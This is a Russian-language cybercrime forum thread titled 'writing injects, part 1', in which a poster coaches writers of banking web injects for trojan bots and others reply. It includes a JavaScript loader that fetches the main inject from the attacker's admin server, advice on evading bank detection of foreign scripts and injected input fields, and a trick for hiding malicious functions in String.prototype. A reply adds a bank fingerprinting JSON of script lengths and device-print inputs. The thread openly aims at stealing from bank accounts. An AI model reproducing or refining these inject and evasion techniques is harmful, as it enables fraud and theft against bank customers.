Реклама на Tenec

пишем инжекты часть 1 Подготовка

Lione

АВТОРИТЕТ
ПОДТВЕРЖДЕННЫЙ
Регистрация
04.02.15
Сообщения
161
Реакции
295
Баллы
305
Инструменты

firefox ( ),

firebug ( )

Большинство "писателей" инжектов, именно писателей - акцентрирую внимание, а не кодеров, опускают такой момент, как подготовительный этап перед написанием своего продукта. Я попробую выделить наиболее важные аспекты.

1. Заторможенность в профессиональном развитии.

Фактически все "писатели" имеют глубокие познания javascript - основной язык программирования инжектов и по своему глубокому заблуждению считают себя гуру и долбят миллионы строк кода, не потрудившись узнать, а какие инструмены нам дали кодеры банка, что бы максимально миинимизировать и ускорить код.

Не секрет, что фактически все банки использую JS-фреймворк, такие как jQuery, Dojo, YUI, ExtJS

Очень важно с должным вниманием отнестись к тем инструментам, что сами банки нам дали в руки: лучше потратить время на изучение, чтобы прийти к жизнеспособному и ремонтопригодному коду. Использование фреймворков помогает инновации результатов.

2. Переменные, скрипты, фреймы, инпуты, cookie.

Да-да, на рынке существует до сих пор инжекты, которые используют cookie, для хранения своей информации, неужели вы думаете, что банки не отслеживают? Вы глубоко заблуждаетесь, рассмотрим более сложным пример.

Итак, заказчик получил свой заказ, который вполне может ограничиваться одним маленьким инжектом - так называемым загрузчиком, который подтягивает основной код с удаленного сервака, ну примерно он выглядит так

Code:

host = 'тут урл админки',

sn = document.createElement('script');

sn.setAttribute('async', false);

sn.setAttribute('type', 'text/javascript');

sn.setAttribute('src', '//' + host + '/' + 'xxx.js');

var s = document.getElementsByTagName('script')[0];

s.parentNode.insertBefore(sn, s)

на первый взгляд все отлично, он работает, даже подтягивает свой основной код, даже тушит загрузку страницы, пока не выполнился основной код инжекта. НО! Очень простой код в три строки, мгновенно покажет банку на сторонний скрипт и даже зафиксирует откуда именно он загружался. Ну а теперь на вопрос, а почему собственно вам локнули то домен, ответ очевиден.

Code:

var b = document.getElementsByTagName("script");

for (var a = 0; a < b.length; a++) {

alert(b[a].src);

}

аналигично с инпутами

Code:

var b = document.getElementsByTagName("input");

for (var a = 0; a < b.length; a++) {

alert('id: '+b[a].name+'\r\nname:'+b[a].name);

}

попробуйте сами и увидите, что ваши так удачно вписанные в дизайн дополнительные поля, это как красная тряпка для банка и он ВСЕ видит. Абсолютно все что "написали" писатели как на ладони у банка. Не тешьте себя иллюзией, что работоспособный код это грааль.

Касаемо переменных, обычно "писатель" создает болванку и потом на основе ее клепает инжекты на поток, ну переменная используемае рано или поздно палится тут можно посоветовать использовать существующие объекты и внедрятся в них, ведь согласитесь в boolean мало кто будет искать, чем просто перeменную ThisCoolAZ

а так будет более скрытно.

Code:

(function(){

String.prototype.f = function(){ alert('find me');}

})();

теперь добавив свой зловред, мы может обратиться к любой легимитивной строковой переменной, к любой и вызвать свою хитрую функцию.

Code:

"".f();

3. универсальность, подстройка под бота.

Это, наверное одно из самых больших ошибок, попытки написать инжект под бота кромсая код, изобретая костыли и так далее. стоимость бота, предположим, 10к, выхлоп с одного аз несоизмерим больше, при грамотном подходе. так может сместить приоритеты ? это не инжект должен подстраиваться, а бот должен подгоняться под нужды инжекта.

Иначе получается машина то есть, а колеса квадратные. Не хочет автор бота вводить новые фишки, новый функционал - советую задуматься о смене "колес"

 
автор, ты большой молодец! продолжай!

одна проблема - 99% заказчиков инжектов ничего не понимает в самих инжекта и их написании, целиком и полностью доверяясь кодеру и тесту в браузере аля "вот поле появилось - все заебись!"

поэтому наврятле основной контигент сможет понять что к чему на деле

но, как говорится, учение - свет!

 
Не все банки имеют степень защиты при которой детектируют и проверяют все скрипты и т.п. на странице. Любой грамотный кодер попросту вырежет этот скрипт.

 
е хочу обзывать тебя писателем.

Что-то вырезать, изменять в пост запрос, который отправляется на сервак, вверх идиотизма, это же красный флаг на акк мгновенно.

Вот пример, и это чаще встречается, чем вы думаете, банки развиваются, не стоят на месте, развиваться надо и нам

туту scripts - именно длина тех скриптов, который есть на странице, любой инжект в них вызовет изменение длины и ловим блок на акк.

Code: {"functions":{"names":["$","ac_addextension","ac_fl_runcontent","ac_generateobj","ac_getargs","allvalidatorsvalid","animatepanel","blackberrylocationcollector","checktabsonurl","collapseexpand","comparevalidatorevaluateisvalid","controlversion","customvalidatorevaluateisvalid","detectflashver","faqfallback","faqformfallback","fingerprint","formreset"],"excluded":{"size":0,"count":0},"truncated":true},"inputs":["devmobileinfo","deviceipaddress","li5cbb_visibility","rsadevicefso","rsadeviceprint","rsadomelement","rsaformsdata","rsajsevents","__eventargument","__eventtarget","__viewstate","__viewstate2","agecategory","brand","ctl00$maincontent$inquiraflag","ctl00$maincontent$li5taba$dbid_edit","ctl00$maincontent$li5taba$li5-lba_button_button","ctl00$maincontent$li5taba$li5cbb","ctl00_faqs_ctl00_faq-btn1","hdnswitchstring","page","pageid","question","scriptingon","segmentcode","submind","wc"],"iframes":[],"scripts":[0,0,0,0,0,186,0,370,0,0,0,0,0,0,772,1428,0,72,0,0,2252,651,796,0,174,0,674,117,527,3679,402]}

 
Сверху